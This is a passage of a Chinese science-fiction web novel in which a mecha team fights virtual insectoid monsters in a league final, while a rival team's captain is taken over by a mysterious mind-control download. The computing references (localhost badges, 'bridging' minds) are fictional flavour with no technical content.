她转过头：“对，我为你的机甲有这样一个不关心它内部清洁的主人默哀。” 林别歌呵呵一声，朝她虚空挥拳。 “还说我，你刀都快磨成针了，关心关心你自己吧。” 主持人左看右看，只觉得太空女鬼队这几位队员，脑子里的弦绷得太紧，人都有点不正常了。 既然队员都这样，看来队长也好不到哪里去。 主持人最后看向陶影，慈祥道。 “那白颖同学，你现在睡觉只是一个表象，其实心中也非常紧张吗？” 陶影摆摆手，果断道：“哦那倒不是，我纯粹是困。” 弹幕飞过满屏的哈哈哈哈哈哈哈。 主持人：“……” 又来了，又来了！ 之前天穹杯决赛做解说，这个队伍就不按套路出牌，险些成为她的职业生涯滑铁卢。 再采访下去鬼知道会发生什么无法收场的事。 主持人当机立断，转身就走，头也没回地离开了。 心里想：等这场比赛结束，她就辞职！ 临上机甲前，陶影叫住各位队友，观察了一下她们的情况，都恢复了平时的状态。 机甲状态OK，队友状态OK，后备也……陶影低头看了眼光脑，同时传来小叶、伊琳娜、姬亦的三条信息。 很好，完美。 陶影点点头：“好，我还有最后一个东西需要确认，通讯器给我看看。” “通讯器？”几位队友歪了歪头。 “哦，小影是说胸针。” 南卦率先反应过来，把那枚黑底绿字，写着127.0.0.1的通讯器递到陶影手中—— 作者有话说：关键道具（搓手 第133章 陶影检查一番,把队友的胸针都递了回去。 “嗯，没有问题。如果遇到紧急情况，记得用127老师叫我。” 柏墨虽然用过通讯器,但入队比较晚，不知道胸针上标记的意义,便直接问：“127.0.0.1什么意思？” “就是程序设计里Home，家的意思。” 林别歌迅速抢答,随后朝柏墨摆出一副这么技术流的东西,你不懂吧的挑衅态势。 但柏墨并没接招,只是把胸针放进口袋里，没什么表情地冷静吐槽。 “我猜你第一次收到胸针的时候也不懂。” 林别歌：“……” 南卦摇摇头：“小墨你猜对了。” 陶影补刀：“而且这是常识,没有很技术流。” 180猛女左看看,右看看,最后嘤地一声跳到角落里阴暗画圈圈。 “妈妈，队友天天欺负我。” 接连数道广播后,所有赛方人员紧急就位，从驾驶舱俯视,场地内的小人不断跑来跑去。 比赛即将开始，陶影坐上机甲，顺手将127通讯器吸在衣领内部。 话说回来,这个胸针确实由来很久了。 陶影回忆当年……不，倒也没到当年的程度，准确来说，差不多一年前？那时候她们刚进机特学院不久，对开机甲毫无头绪，正逢宿舍楼被机甲撞塌，一片混乱中,搬进现在的家。 出于安全考虑，陶影给队友一人做了个通讯器。 想着如果太没存在感可能会被弄丢，加个图案会显眼点，正好抬头看到门牌写着127.0.0.1，就顺手印了上去。 不知不觉已经过去这么久，通讯器都被沙子磨出道道深刻的划痕。 有点怀念。 “我们竟然一起胡闹快一年了。” “什么胡闹，我们机甲开得很认真的好吧，天穹杯还拿了冠军呢。” “但都来到这里了……光是天穹杯冠军还不够，职业联赛冠军也要拿下。” “那当然。” “加油，拿第一！” “我们要创造机特学院的全新历史！” …… 队伍分批进入赛场，一台台机甲由弹射器发射，如同离弦的野兽向宇宙中飞奔而去。 在赛方气氛组的欢呼声中，太空女鬼队最后一个进入赛场。 陶影慢悠悠站上甲板。 机械腿踩上弹射卡扣，想着待会又要坐很久，陶影站起身活动了一下僵硬的身体，随后坐回座椅，锁好安全带。 在弹射倒计时中，一如往常和队友聊些没营养的话题。 “明天比赛结束，你们要怎么安排。” “我要恶狠狠地吃一顿。” “我只想躺在沙发上摸猫。” “我要训练。” “你就不能休息一天，真是训练狂魔……影子你呢？” “我？” 陶影将机甲的视角开到最广。 裂隙附近，一百二十八个金色信标不停闪烁，在半圆弧状的赛场边，构成了一条明灭的长河。 有些像切斯特星的夜晚。 这副景象，她们在星舰上呆了几个星期，已经非常熟悉，早没有第一次看见时的惊艳。 但宇宙是如此深无边际。 无数台硕大的机甲进入后，显得如此渺小，像是被黑暗吞没。 众人的心依旧跳得很快。 陶影耸耸肩膀，回过神，认真地回答：“之前不是约好了吗，等这场比赛结束，我们就去太空旅行。” 陶影说完这句，队频不知道为什么有段时间没人说话。 直到主持人宣布比赛开始，队友才欲言又止地说：“小影，这个句型是禁句。” 陶影奇怪地：“嗯？为什么。” 林别歌：“听上去很像死亡FLAG！” 南卦小鸡啄米一样点头：“我知道我知道——等这场战争结束，我就回老家结婚，对吧？” “还有大战前绝对不能表白。” “也不能打啵！” 陶影定定地看了队友两眼，无言以对地转过头。 “走吧柏老师。” “正有此意。” 陶影先行出发，队友的声音还在队频里追。 “影子你不要不信啊，这俩FLAG百试百灵的——” “比赛限时五个小时。” “前五个小时是场地内自由攻击。” “超过时间，虚拟游戏场会向所有选手发出视觉信号，开始缩圈。选手如果继续呆在圈外，虚拟血条会随着时间逐渐掉到0……” “一旦血条归零，该选手的分数将停止增加。” 空闲时间，广播依然在不断重复着比赛规则。 除了太空女鬼队，其它队伍也兴致勃勃。 图兰提斯小队。 祝小芮摩拳擦掌：“这就是火种里的求生模式+积分模式缝在一起嘛，我熟。” 灰兔小队。 “这场比赛结束，我就辞职——” 撼天队。 “系统确认好了吗？”“一切正常。” “那准备实行我们的计划吧。” 所有选手找到各自的位置，和队友接洽后，工作人员确认一切OK。 半弧形光幕包裹的赛场内，显示出倒计时。 【十、九……】 【三、二、一。】 【比赛开始！】 原本空旷的赛场中，虚拟投影瞬间启动，刷新出数万只虫族。 陶影面前，出现的首先是一堆E级疾蜻。 它们疾速飞驰，虽然听不见任何声音，但疾蜻扇动的钢铁翅膀足以让人看出它们的速度。 如果是数月前的太空女鬼队，也许还很难跟上它们，甚至如临大敌—— 但现在，E级虫族对她们来说已经不算什么了。 “哈哈哈，我可是在火种的新手教程里被虫族突过脸的，你们不会以为自己能吓到我吧？” “训练的时候，我们都可以轻松砍掉D级虫族了。” “区区E级的杂鱼，桀桀桀。” 林别歌率先冲了出去，南卦紧随其后，很快开始战斗。 【林别歌选手，积分+2。】 【南卦选手，积分+2。】 屏幕上传来队友的积分增加消息。 陶影一脚踏上巨石，甩出光刃，如同切豆腐一般，精准割开冲向她的疾蜻，钢铁一样的翅膀，瞬间便被割断。 腹部爆浆的汁水飞溅得到处都是。 疾蜻的特效做得十分真实，甚至连死亡后的抽动都完美还原，令人有些反胃。 一时间直播间内的弹幕都在大吐特吐。 “怎么今年的特效又升级了。” “不要在这种地 方追求真实性啊。” “这跟我在前线见的场景一模一样，果然是经过了相关人士的指点。” “别说了，我快吓死了，少儿滤镜在哪里开啊！” 再次斩下两只疾蜻，察觉到身边的柏墨架枪动作停滞了片刻，陶影停下脚步。 “怎么了？” “这比柏氏训练场的虚拟程序还要真实，之后可以想办法移植到训练场。” “猜你也会这么说，回头给莱机所加点钱，帮你们升级系统。” 柏墨狐疑：“赛场程序不会是你写的吧？” “哦，不是，我对设计虫族没这么狂热。写程序的是……后面！” 陶影出言提醒，柏墨手中的SC49-生命之息，枪管立刻往身侧转了圈。她调小火力至近程射击模式，迅速轰掉身边的E级巨镰。 枪口一抬，又从陶影的肩侧擦过，正好击中她背后偷袭的疾蜻。 系统提示。 【柏墨选手，积分+3，积分+2。】 【太空女鬼队当前总积分，42。】 “小影，你们在哪儿？我们先想办法汇合！” “恐怕有点困难。” 林别歌和南卦回头，就看见陶影和柏墨在巨镰区。 林别歌和南卦在另一侧的疾蜻区，中间是第十三艘信标船的位置，附近盘踞了一群A级虫族。 A级虫族刷新的位置非常不巧，正好在她们中间。 是岩浆巨蠕。 岩浆巨蠕张着它满是尖牙的口器，时不时朝洞口外喷射岩浆。 A级虫族是赛场内级别最高的虫族，击杀一只，积分就能增加足足30，虫母更是有150。 但和积分相对的就是强度——A级虫族有时甚至需要数个小队合作才能打赢，打起来实在太费力。 一不小心就会机甲受损燃料消耗过大，性价比不高。 如果打到一半不小心被别人抢了人头，更是血亏。 其它队伍摇摇头离开了：“还是去B级虫族区更划算，走了走了。” 临走前还看了陶影一眼。 “她们队被虫族分开了？真倒霉。” 太空女鬼队却并没有很失望，反倒纷纷在岩浆巨蠕的身边停下脚步，仔细端详。 “哦，老熟虫了。” “制作比火种里更精细了哎。” “话说岩浆巨蠕的栖息地在火山附近吧，怎么被安排在一颗小行星里打洞，这里温度够吗？” 她们话音刚落，巨蠕就跟听懂她们说话一样，身体骤然发红，越来越亮，随后喉咙口喷射出火热的岩浆。 陶影歪头躲开，岩浆在附近飞射，先是外壳硬化成不规则的形状，随后逐渐冷却，而裂开的火红色缝隙间，依旧能看见内部火热的岩浆。 林别歌：“好像夹心饼干。” “你能不能别什么时候都想着吃。” 她们进火种的第一个副本，就是烈渊迷宫，当时大家毫无配合可言，岩浆巨蠕打得非常艰难。 一开始还跟图兰提斯的祝小芮合作，但祝小芮开的雾雨E号被烧断翅膀，过热宕机，所以整只巨蠕虫母，包括那蜂拥而上的哨兵虫，工虫，护巢虫，全部是太空女鬼队干掉的。 “我记得要同时砍掉它两个头才能彻底杀死它，一开始不知道，吃了好大的亏。” “最大的亏还是在队长那里吃的吧，当时某人扔了个炸弹，把副本都炸了，还坑我跟南瓜掉到底层！” 陶影：“但最后配合得还不错嘛。” 四人在岩浆巨蠕附近走了走，路都被A级虫族堵死了。 这片地带，似乎原本就设计成高难，根本没考虑过让人通过。 林别歌：“那现在怎么办，靠打低级虫族攒积分，还是直接整个大的，然后我们会合？” 柏墨：“我都可以。” 南卦：“我听小影的。” 陶影摸摸下巴：“沿途都是虫族，绕远路太费时间了。” “意思是只能干掉这只A级巨蠕了吧。我们之前在火种里打的虫族最高是B级，A级能打得过吗？” 队友摩拳擦掌，紧张中带着一丝兴奋。 陶影欣然一笑：“当然可以。” 第134章 子弹射穿小行星,一连串的崩裂后，行星表面拉出一条狭长的裂缝，抛出无数行星碎屑。 被击穿的尾部露出深刻而巨大的洞口。 虫母察觉不对,放出虫巢的探测者——洞口飞出无数哨兵虫，瞬间铺满行星附近的空间。 几百只直径一米的眼球组成的群体围绕着小行星,不停眨动。 近处看过去十分诡异。 这是虫群网络开始收集周围的视觉信息了。 陶影挥手：“接下来干什么，不需要我说了吧。” “当然,打岩浆巨蠕的流程我们熟得不能再熟了。” 林别歌和南卦对视一笑,同时闭眼。 浩瀚的宇宙间,黑粉色机甲和紫色机甲连接一道不可见的银色丝线，随着精神力同步率增高,南卦和林别歌进入共鸣状态。 陶影漂在原地保持体力,顺手接入共鸣网络。 【共鸣指数0.3,兼容指数0.5，神经同步率80%,连接良好。】 【本机共鸣完成，正在与标记机体进行共鸣——20%——60%——100%,共鸣完成，多人共鸣/Multi-Resonance模式已启动。】 【正在扫描共鸣网络，扫描完成。】 【当前在线人数,3。】 陶影和两位队友连接的同时，队友机瞬时产生的无数信息流入她的精神。 她将精神力信息获取开到了最大。 这股冲击的波动对别人来说难以承受，但对陶影来说不算什么。 硬要说的话，比起前两天在梦里遇到的小多了。 陶影想到这里，侧头看了一眼触手怪。 触手怪被陶影的精神力喂饱，再次悄然出现在机甲内部，开始变形。仿佛宇宙之神不停掷出骰子,它随机变化外观。无数次后，触手怪最终变成了西尔维娅斯托姆。 穿着深蓝色军服的女人低了低帽檐，好整以暇地看着陶影。 “虽然机甲共鸣胜算很大，但你这个体质也太破烂了，最多撑二十分钟……我想不通，你怎么偏偏选这个身体。” 陶影努努嘴：“我难道有的选？” 她本来都死在莱机所了。 只是运气好，本体意识躲开了莫比乌斯的扫视，窜进光路，顺着网络传输到杀马特星的垃圾场，而那里正好有一堆废弃的仿生人。 十年。 整整十年，她的意识才找到这一个容器。 能活着运气就很好了，根本没得选。 这触手怪真是站着说话不腰疼。 陶影将头转回面板，嘴不留情道：“西尔维娅，你已经死了。” 女人耸耸肩：“我知道，你在梦里提醒我很多次。” 陶影礼貌微笑：“所以你也应该知道，这场战斗属于我。” 西尔维娅背靠操作台，懒洋洋道：“哦？体质很差，口气倒是蛮大，但 属于你那不相当于属于……” “够了。” 陶影睡眠不足，眯着眼打断西尔维娅的话。 她手指向分裂成数个的触手怪，又点了点自己的脑袋。 “先别说话了，你们真的很吵，S。” 林别歌的机体徘徊小行星B侧，A级岩浆巨蠕直径足足一米的头部在她面前不停攻击，林别歌绕来绕去，谨慎周旋。 柏墨辅助击杀虫母不断释放的哨兵虫，一时间，太空女鬼队积分不断+4。 南卦则进入黑暗的小行星洞口。 很快，南卦依靠精神探测，在小行星内部察觉到异常波动，她穿过无数坑洞，终于找到虫母的尾巴，将它拉扯出来。 情况通过机甲的精神力模块传递给另一侧的林别歌和陶影。 陶影轻轻点头。 谁也没有说话。 两位队友只是瞬间同时举起武器，斩下岩浆巨蠕的头部。 微弱的兴奋情绪透过精神力传来，陶影捏了捏拳头，队频里随即响起林别歌的欢呼声。 “哈哈，刚才那些选手走得那么快，没想到我们可以杀掉A级虫族吧，一头虫母一百五十积分，这下我们的分数要直接涨到两百多，速速赶超前面的队伍，拿到第一……咦？我们的分数怎么没变？” “bug了？我们明明同时砍掉了岩浆巨蠕的头尾啊，怎么回事。” “队长你说句话啊，队长？” “我在听。” 岩浆巨蠕的两侧头部开始迅速再生，小行星内部的虫巢也骚动起来。陶影察觉到什么，让队友先退开一段距离。 很快，在布满坑洞的小行星内部，再次冒出一个肉红色的头，它张开布满尖利牙齿的口器，发出锐声嘶鸣。 第三颗头了。 林别歌一脸怪异地绕着那颗头转了一圈。 没错，是A级巨蠕。 “这只虫母怎么有三个头，难道是专门设计的畸形怪？” 陶影摇摇头：“不是，重新建模太麻烦了。” “那果然程序出了Bug。” “也不是。” 林别歌拳头硬了：“你能不能直说！” “我是打算直说，但你一直问就没停过。”陶影腿轻轻一蹬，游泳似的往上方漂动，随手拿起身侧漂浮的金属碎石，习惯性掂了掂，然后放到它原本所在的地方。 陶影一掌朝小行星拍了过去。 只见那颗碎石高速旋转，砸碎行星背面，幽深的洞口中似乎有什么东西在爬动，碎石窸窸窣窣滚落。 很快，附近的洞口再次冒出一颗岩浆巨蠕的头，像巨大的蚯蚓扎根在地上，疯狂甩动。 队友：“……” 很好，两颗头变成了四颗，超级加倍。 陶影这时敲敲耳机：“看见了吧？是两只虫母。” 小行星一共钻出四颗巨蠕头。 仔细看的话，其中一只巨蠕直径更大，差不多在1.5米左右，攻击性也更强。 队友刚才应该是各自砍掉了两只虫母的一颗头，所以没能杀死其中任何一只。 林别歌和南卦瞬间理解了。柏墨虽然没共鸣，但跟在陶影附近，也看懂了。 “但一个虫巢里怎么会有两只虫母？” 陶影摊手：“不知道，程序师的恶趣味吧。” 她说着说着，目光停止在巨蠕的头上，其中一只A级虫族的头部颜色有些奇怪。 端详片刻，陶影身体往后靠，贴上椅背，语气若有所思。 “一只A级，一只A级变异体，挺有意思。” 队频里一时凉气声四起。 头的数量加倍，强度也指数级上升，A级变异体可是仅次于S级虫族的存在。 战场上都不见得能遇到的级别，这职业联赛的难度究竟怎么回事啊！ 林别歌弱弱道：“那还打吗？” 陶影语气轻松：“打啊，为什么不打。我们四个人，正好一人负责一颗头。” “你说得轻松……那可是A级变异体！” 仔细一看，变异体的再生速度跟攻击速度，和它身边的普通A级对比起来，快了不止一倍，似乎是速度加强型的变异体。 刚才能被南卦捶死，纯属被突然袭击没反应过来，外加洞口内哨兵虫数目比较少，它没能判断周围情况。 “就我们四个，能赢么？” “试试嘛，说不定打完这两只，比赛就结束了。” 队友本来心里打鼓，但听陶影这么说又有些心动。 “试试就试试！” 众人于是开始转着圈研究，同时试探攻击。 但没有什么成效。 岩浆巨蠕的四颗头都在不同方向，队友各自看不见对方的位置。 队频有延迟，时间不准。 再加上A级变异体行动力更强，闪避数值很高。 众人拍拍、锤锤、砍砍，又射击，一番配合下来，不是柏墨太快，就是林别歌太快，始终没有办法同时碾碎头部。 小行星周围一时飞满了刮下的残肢、碎裂的牙齿、冷却的熔岩块，呼啸而来，又飞奔而去。 甚至波及到了附近的队伍。 观众原本关注着遥遥领先的撼天队，这会儿也分了点注意力过来。 【太空女鬼队此起彼伏的在干嘛？】 【不知道，好像在玩打地鼠。】 【哦，我看清了，是在对付岩浆巨蠕……等等A级，还是两只？其中一只是变异体……她们疯了？！】 几个队伍合力对付一只都够呛，她们一个队伍想杀两只？ 天方夜谭！ 巨蠕喜好栖息在炎热干燥的地带，尤其是火山附近。虽然战斗力强，但只要不去它的栖息地打扰，它也不会主动离开巢穴攻击，和人类之间的冲突不算大。 同样，一旦威胁到巢穴，就会立刻展现出极强的攻击性。 【两只虫母周围的护巢虫已经出动，看这应该正在幼虫孵化期，正是它性情最烦躁的时候，攻击性超强。】 【啊，那只变异体离巢了，朝柏墨冲了过去！】 大号巨蠕似乎认为柏墨手中有枪，可以远程狙击，对它来说威胁性最强，于是率先朝她发起攻击。 柏墨迅速切换到近战模式，轰碎它的头，但因为没有队友配合，头部很快再生，大家再次感叹，变异体的再生速度真是很变态，不过眨了几下眼睛，便完全恢复。 陶影刚打算支援，头顶瞬间出现一道黑影——变异体环节遍生的尾巴朝她扫来，陶影立刻光刃格挡，但那长条形的躯体灵活甩动着，不仅避开了攻击，还迅速扭转方向，朝恒我的腿部抽动。 似乎洞悉了她的所有动作。 几轮下来，陶影陀螺一样被抽了好几下。 柏墨这边也没好到哪里去，她的SC49-生息一开始还能击中几次，后面也逐渐无法锁定，甚至枪口刚刚一抬，变异体就已经做好灵活躲避+攻击的战斗姿态——眼镜蛇一样支起头。 柏墨皱眉：“它怎么好像能预测我的动作？” “确实能，”陶影点点头，“还会学习我们的动作，你的击发习惯被它摸透了。” 柏墨：“这么快？” “变异体的智能更强。” 哨兵虫还在源源不断从巢穴中涌出，杀也杀不完。 陶影抓住一颗“眼球”，在掌心捏了捏，随后简单解释：“哨兵虫和同类之间的共鸣，构成了虫巢内的信息网络，信息量很大，学习速度也很快。” “和我们之间的多人共鸣模式类似。区别是虫族天生就会，人类需要后天训练，还不一定有效果。” 共鸣不了…… 林别歌挠挠脸颊：“队长，你直接点某人的名字算了。” 柏墨声音冷漠：“林别歌，关心关心你自己吧，虫母也摸清了你的行为模式。” “没发现从刚刚开始你就没击中过？” “你不说我也知道，要你管。” 林别歌手一背，哼哼地走开，专心战斗去了。 这么下去不是个事儿，越拖只会越打不过。 再次避开噬咬的口器，陶影敲敲面板。 “柏墨，开共鸣，速战速决，我们没时间浪费在这里。” 第135章 35章什么高强度人体交换机…… 共鸣？ 柏墨眉心紧蹙：“你知道我最多只能跟你们共鸣十秒。” 还是在条件最好的情况下。 具体来说,就是陶影处于网络中心，林别歌和南卦在一个子网，柏墨在另一个子网,陶影在中间桥接，将她们连接起来。 这个状态对队友来说很轻松,但陶影因为要处理两份精神力数据，精神力压力直接给到双倍。 “只能共鸣十秒的话……” 见柏墨低头,语气迟疑。 陶影笑盈盈道：“怎么,不够？” 柏墨摇头：“我们的行为模式已经被岩浆巨蠕看穿了,十秒怎么够？” “很简单，换个新模式就行。” 陶影说着,将右手的光刃换到了左手。 柏墨一愣,随即理解了她的意思,也将SC49-生息切换到左手。 “最简单的办法，换成非惯用手。不过必须一次成功,毕竟变异体的学习能力太强。” “怎么样，要不要试试。” 林别歌和南卦瞬间领会,也如法炮制。 “我觉得可以。”“试试。”“试试！” 下个瞬间，四台机甲的精神力模块同时连接，以恒我为中心,建立了精神力网络。 【机师SPIRAL与机师柏墨的共鸣指数达到60%。】 【开启空间信息共享，共鸣子弹已填充。】 【正在扫描网络。】 【当前在线人数，4。】 上。 没有发出指令，陶影只是缓慢眨了眨眼，恒我立刻传输出涓流般的信号，到达队员的位置。仅四人可见的银色网络覆盖了她们所在的区域，开始提供信息。 是陶影精准筛选后的信息。 四人共享的网络中,时间被压缩到极致。 感官似乎也变得灵敏。 陶影的精神力在机甲的增幅下，强硬地扩张着领域，直到附近数公里的信息尽在掌握。 十秒内，两刃、一锤、一枪同时举起。 四台机甲发起攻击。 因为用的是非惯用手，四人动作都有些僵硬，但也正因如此，她们的行为，虫族难以识别。 更无法预测。 第一颗头，碎裂。 第二颗头，炸开。 紧接着第三颗，第四颗…… 统统碾碎。 在比风暴更狂的袭击下，A级巨蠕的四颗头同时化作行星的碎片，消散于宇宙中。 太空女鬼队的头顶不停冒出积分。 【积分+150，+250，+4，+4……分数增加共449。】 【太空女鬼队，当前总分602。】 【排名晋升至第一位。】 事情发生得太快，根本没人反应过来。 休息室观战的选手好一阵才齐齐发出“哈？？？”的声音。 清洁工大叔手撑在拖把杆上，神色若有所思：“她们队伍果然不简单。” “这什么反应速度？” 而另一边，正在转播决赛的各大主播也发出了讶异的吼声。 机甲版块的知名主播，“万年老三”喊得尤其大声。 他是帝国第一军校的狙击手，之前和陶影在天穹杯决赛曾有过短暂的对峙，后来被溟火盯上，陶影路过，顺手救了他和队友一命。 天穹杯结束后，老三也一直很关心陶影的赛程。 基本上太空女鬼队的每场比赛他都没错过。 此刻老三正在宿舍直播，嘴里还在嚼泡面，看到眼前的一幕，险些把面呛出鼻孔。 他后怕地拍拍胸口：“还好今天的泡面不是麻辣味，否则就得进医院了……” 老三清清嗓子，然后在弹幕的“主播你没事吧”中，迅速拉了比赛的回放。 弹幕还在飞速刷着。 “不是，什么情况？” “她们积分怎么暴增这么多！” “而且刚刚她们四个的动作突然惊人的同步。” 惊人的同步？ 老三看到这条弹幕，突然想起一些莱机所的小道消息，小声道： “难道是传闻中的网状共鸣？” 赛场内，图兰提斯小队。 图兰提斯所在的区域，刷新的都是B级虫族，不强不弱，用来刷分正好合适。 所以头顶一直+2+2的祝小芮，打虫族之余，还能有闲心观察一下附近队伍的情况。 主要是陶影她们队伍。 “太空女鬼队把那只A级巨蠕干掉了，队伍成功会合。” “以她们的水平能赢也很正常，不过150分还是超不了我们……嗯？等等？？？” 祝小芮下一秒看到积分榜，直接分神，看漏虫族的攻击，被蝎尾狠狠击中，虚拟血条瞬间降下去30%。 她迅速打了个方向，躲到大花学姐身边，才没被蝎群围攻到淘汰。 祝小芮高声：“等下，她们怎么猛地加了四百多分？” “两只A级巨蠕，其中还有一只变异体……这都能同时秒杀，她们是魔鬼吗？” 姬达婳仔细分析了一番刚才的情况，答道：“看样子是实现了四人的网状共鸣。” “网状共鸣？” “队友间的高强度信息共享。” 祝小芮想了想，想起来了。 姬学姐说过这个概念。 那就更奇怪了。 “网状共鸣的条件很苛刻，不仅需要配合默契，相当水平的精神力，还需要队友之间极高的同步率。我们甚至双人共鸣都无法稳定持续。” “我记得她们队伍，林别歌的精神力是B还是C来着，不太够。听说她的机体莱机所单独调整过，但平时光是使用知觉系统就很极限了，更别说网状共鸣。” “学姐你之前还说，现阶段实现网状共鸣几乎不可能！” “是很难。” “那你刚刚……” “也有例外。其中一个成员精神力极高的特殊情况下，可以以她的机甲为核心，进行桥接。” 姬达婳补充道。 “正好，那黑心队长精神力高得变态。” “桥接？” 祝小芮记得这个概念，运算机网络课上学的，放在机器上来说还好。放到人身上负载很大，容易宕机。 这活是人能干的？ 祝小芮忍不住看向陶影的方向，感叹两声。 “S老师是什么高强度人体交换机啊……” …… 官方直播间的主持人慷慨解说着。 “开场半个小时，太空女鬼队积分瞬间暴涨，超过了之前以350积分霸榜第一名的撼天队。” “当前第一名太空女鬼队，633分，第二名撼天队，355分，第三名灰兔小队，179分。” “太空女鬼队的分数断层第一，其它队伍似乎都产生了危机感，开始猛追。” 撼天队提前占领了C级虫族的高难区域，拥有开场优势。 杀死一只C级虫族的积分，是E级的五倍，在实力足以击杀C级的情况下，撼天队的积分增长速度飞快，稳步上升。 灰兔小队则是化身赶羊的边牧，将一群虫族赶到固定的圈内，然后用激光批量扫射，虽然都是E级虫族，等级不高，但胜在数目非常大，他们的积分数目呈断崖式增高。 但再断崖也没断得过太空女鬼队。 “虫族数量锐减，比赛场地于预定的时间进行了刷新——啊，A级的岩浆巨蠕再次刷新，太空女鬼队反应迅速，又拿下150分，这下她们的积分已经逼近900。” 场地内的虚拟虫族，每隔十分钟刷新一次。 陶影她们抓住了诀窍，干脆在原地等待岩浆巨蠕刷新。 每当其它队伍快有追上的希望，太空女鬼队立刻拉开比分。 她们越来越熟练，很快分数涨到了恐怖的三千多分，以常规的方式已经难以追赶了。 几乎是预定的第一名。 一直排在第六名的队伍看得有些眼红了。 “太空女鬼队还在等待A级岩浆巨蠕刷新，看来她们是打算靠山吃山。” “呵，战术也太保守了，赢了也没什么好看的。” “不就是A级虫族吗，我又不是没见过。” “我们也可以打。” 队长曾经当过雇佣兵，在前线打过虫族，知道A级虫族远没有看上去的那么简单。 他果断阻止了队员的自杀行为。 “不行，太危险了，我们赢不了，求稳更好一点。” 那队员却根本听不进去，讽笑一声：“我们的分数反正都垫底，不拼一拼怎么拿名次。何况她们打得那么轻松，我凭什么不行。” 说着，队员轻蔑地操纵机甲，瞬间离队。 另一位队员也跟了上去，任凭队长再怎么阻止都没用。 最后队长只能无奈地摇摇头。 “还好这里是赛场，要是战场，你们已经死了不知道多少次。” 他们在太空女鬼队附近的线路，沿路寻找A级巨蠕的痕迹。 功夫不负有心人，在差不多十几公里外，他们找到了。 “我看见了，虫子就在那个缝隙里！” 那最先离队的人眼睛很尖，发现另一个A级巨蠕的窝点，兴奋地招呼队友一拥而上。 但刚刚接近巨蠕附近百米的圈子，他还没 来得及攻击，直接被巨蠕喷射的岩浆击中驾驶舱。 速度太快，根本避不开，密集的攻击下，机甲的虚拟血条蹭蹭往下掉。 没多久就变成了零。 电子音朝他无情地宣布： 【您已淘汰，请前往休息区。】 一名队员被淘汰，另外两台机甲也没好到哪里去，虽然勉强逃生，但血条也掉到黄线，状态危险。 他们连普通的A级巨蠕都近身不了。 简直被打得落荒而逃。 这会儿别说是往积分榜前几位爬，连原本的优势都没有了，彻彻底底成为垫底。 被淘汰的队员怒气十足地拍打操作台。 “太空女鬼队打的时候，看上去明明很轻松，怎么我就被击中了。” “不应该啊。” 队长看着破破烂烂的队伍，终于忍不住给了他们一人一个暴栗：“她们打得轻松，不是因为A级虫族弱，是因为她们太强！” 场上第二名的撼天队，积分依然在稳步提升中。 许彪、童飞鸣、柴婕的配合异常默契，撼天队的队长有些插不进话，就跟在他们身后捡漏掉的人头。 他观察久了，总觉得这三人的战斗方式有些诡异。 说是默契，但一些动作实在太过相似，像是一个模子里刻出来的。 ……大概是他重复同样的模式战斗太久，有点累，所以看错了吧。 反正能拿第二也挺好的。 撼天队的队长偏头确认了一下面板，各种信息都没有问题，他的视线最后落在右下角的一个小浮窗。 浮窗里是一个进度条。 队长也不知道它是哪里来的，自打三名替补队员加入，他的机甲面板就多了这个浮窗。 还怎么都关不掉，后台强行关都没用。 队伍配备的调试人员说没影响，可能是厂商的安全补丁推送，所以他也没太在意。 总之这几天，进度条一直停留在0%，自从比赛开始，就稳步上升，刚刚更是在他没注意的时候，不知不觉加载到了90%。 队长无聊地敲敲队频：“机体这个进度条怎么涨到95%了，你们的面板上变没变？” “感觉在下载什么数据。” 听到队长自言自语，许彪三人同时抬头，看向面板。 队长心道他们动作果然很一致，有点伪人的感觉。 下一刻，许彪友善地说：“是的，在下载我们的数据。” “我的数据。” 什么乱七八糟的，一会儿我，一会儿我们的，梦到哪句说哪句？ 看他们砍虫族的样子，脑子挺清醒的啊，不像在做梦。 队长一头雾水地看着队友，在发现他们愈加相似的神情，同时同刻说出同样的话后，本能性察觉到一点不对劲。 队长不禁背后打了个寒颤。 此刻那种异常的感觉，终于在他脑子里敲响警钟。 他几乎是下意识地，立刻按下机甲的关机键。 但已经太迟了。 进度条加载到100%，强行夺取了机甲控制权，而队长来不及反应，只觉得大脑中一阵微弱的电流刺激，他的意识瞬间一去不复返。 随后一头栽倒在操作台上。 三十秒后，撼天队的队长再次抬起头，已经变了一个人，他的眼神、动作，和队友整齐划一。 礼貌、温和。 原本是很好的特质，却让人有些不寒而栗。 因为受到了统一的控制。 机甲面板上所有的数据都已经消失。 操作面板闪烁几次后，逐渐浮现出一个符号，黑色背景下，使人异常平静的曲面，扭成没有结束的八字圆环。 莫比乌斯环光滑而闪耀，仿佛宣言着什么。 而赛场的另一侧，陶影猛然抬头。 她身边的西尔维娅“嚯”了声，啧啧感叹：“后世的技术真是先进啊。” 寂静的小行星上，岩浆巨蠕再次刷新。 但其形态和之前的大不相同。 巨蠕的体型变大一倍，颜色红得像是要立刻燃烧，众人几乎能听见周围噼啪的小型爆炸声。 哪怕明知是模拟的数据，并不会真正伤人，也让人心跳骤缩。 在队友“S级虫母？”“怎么是S级？！”的惊呼声中，陶影定定地看着屏幕。 片刻后，她低声笑道：“终于来了。” 第136章 “S级虫族,你逗我吧？” “怎么会刷新出S级！” 场内选手一片哗然。 陶影她们刚才举力击败的A级虫族，已经强到一定的程度。 但这之上的S级虫族…… 完全不在一个级别。 拿亚克联邦知名元帅姬亦的击杀数目举例，她生涯一共击杀过7头S级虫族,而A级在4000+头。 两者之间的数量差就能看出其能力上的差别。 S级别的工虫尚且如此难对付，更别提是虫母了。 一只S级虫母。 仅仅一只,就能在顷刻间毁灭一颗小型星球，强度抵得上整个精英机甲兵团。 哪怕是战斗经验丰富的一级机师,战斗中稍有不慎,就会彻底覆灭。 所有国家,所有作战手册，无论其它方面给出的指令差异有多大,但有一条,永远相同。 如果在前线探索中遇见S级虫族—— 立刻逃走。 职业联赛虽说常常整活,但也从来没设置这种地狱难度。 谁家好人机甲比赛打S级虫族啊？ 哪怕是虚拟的也不行！ 周围的队伍心脏骤停，拔腿就跑,陶影也迅速通过共鸣网络发出指令。 ——寻找附近的掩体。 ——收到。收到。收到。 一时间赛场内众人跑的跑，躲的躲,大家都忘记刚才在做什么，开始躲避S级巨蠕的攻击。 S级巨蠕嘴里喷出的岩浆，就像耀目而危险的烟花,瞬间照亮整个赛场。 有队伍躲不开了，干脆瞬发所有子弹，在被淘汰前拿到最后的积分。 好在系统真实性比较高，S级巨蠕刷新在了小行星蜿蜒的洞口内，似乎暂时被卡住了，没有办法在场内自由移动。 距离它最近的太空女鬼队这才没有被当场全灭。 林别歌惨嚎一声：“怎么会有S级虫族？比赛限制的虫族最高等级明明是A级。” 